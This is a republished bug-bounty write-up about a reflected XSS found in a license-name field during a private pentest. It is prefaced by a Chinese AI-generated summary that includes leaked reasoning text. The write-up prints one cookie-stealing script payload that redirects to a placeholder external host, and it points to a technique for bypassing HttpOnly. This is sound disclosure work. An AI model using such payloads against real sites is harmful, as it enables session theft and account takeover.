The weirdest bug:When Reflected XSS Won’t Let a Page Breathe
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户的要求很明确,不需要特定的开头,直接写描述即可。 首先,我得仔细阅读文章内容。这篇文章讲述了一位安全测试人员在渗透测试中发现了一个反射型XSS漏洞。他使用低权限账户,通过注入XSS payload成功触发漏洞。尽管遇到了HttpOnly标志的阻碍,但最终通过调整payload成功利用漏洞,并获得了奖励。 接下来,我需要提取关键信息:反射型XSS、低权限账户、注入payload、HttpOnly处理、漏洞利用和奖励。这些是主要内容点。 然后,我要将这些信息浓缩到100字以内,确保语言简洁明了。避免使用复杂的术语,让用户容易理解。 最后,检查是否有遗漏的重要信息,并确保总结准确反映了文章的核心内容。 </think> 作者在渗透测试中发现EXAMPLE.COM网站存在反射型XSS漏洞。通过低权限账户注入XSSayload成功触发漏洞,并尝试绕过HttpOnly限制以进一步利用漏洞获取管理员权限。最终该漏洞被认定为高危并获得赏金奖励。 2025-10-13 07:12:27 Author: infosecwriteups.com(查看原文) 阅读量:177 收藏

Helmiriahi

Hello Pentesters — hope you’re well.
Today I’m sharing a short write-up of a reflected XSS I discovered while conducting a contracted pentest for a company that runs a critical website and needs strong security (let’s call it EXAMPLE.COM).

Note: this was a private assessment, so I can’t disclose the real name — EXAMPLE.COM will be used throughout.

Alright — let’s do it !

Initial Discovery

they gave me a worker-level account and activated the product license. With that low‑privilege access I just hung around the app, poking at features and inputs with my user rights to see if (For client and company privacy reasons, I’ve blurred any sensitive)

Press enter or click to view image in full size

Without hesitation the first thing I thought of was changing the user’s license name by injecting an XSS payload into that field. I opened Burp Suite and began testing the input.

Press enter or click to view image in full size

Here’s what the user license modification page looks like

Press enter or click to view image in full size

So here we inserted our XSS payload and tested it.

Press enter or click to view image in full size

and boom !

Press enter or click to view image in full size

Easyyyyy, rightttt? We report it and get paid — job done? Nah, don’t be dumb. You have to handle this the right way; that’s how a pentester should operate. So what next? Calm down — my goal wasn’t just to report it; I wanted to exploit it to escalate privileges and gain the Admin user.

While poking around I checked the cookie flags — HttpOnly was set. That moment felt like a small victory and a small speed bump at the same time.

HttpOnly basically tells the browser “don’t hand this cookie to any JavaScript.” So if you’re expecting the classic document.cookie → send to attacker trick, that door is closed. Nice to have, and something every dev should do.

Press enter or click to view image in full size

But it didn’t stop the show. In my case the cookie being HttpOnly only meant I couldn’t directly read the session value from JS — it didn’t stop the injected script from running, or the browser from making authenticated requests with that cookie attached. From the attacker’s perspective that still allows actions to be performed as the victim (changing settings, hitting internal endpoints, etc.), and it still allows exfiltration of anything visible in the DOM or returned by same‑origin APIs. In short: HttpOnly reduced the easiest form of cookie theft, but it didn’t neutralize the impact of the XSS — and it certainly didn’t prevent the page from getting stuck in that endless reload loop while my payload kept failing to reach its external receiver.

So i have changed the Payload like this one :

<script>document.location='http://TypeWrongIp That he Cant Reach/cookie='+document.cookie</script>

and the page became stuck in that state.

Press enter or click to view image in full size

If you want to bypass HttpOnly flag you can read about (cookie Sandwich technique ) .

In the end, the company recognized it as a critical vulnerability, and I received the bounty reward.

Thanks for following along and follow to get more !

Contact :

helmi riahi | LinkedIn

[email protected]


文章来源: https://infosecwriteups.com/the-weirdest-bug-when-reflected-xss-wont-let-a-page-breathe-58be5cdfb569?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh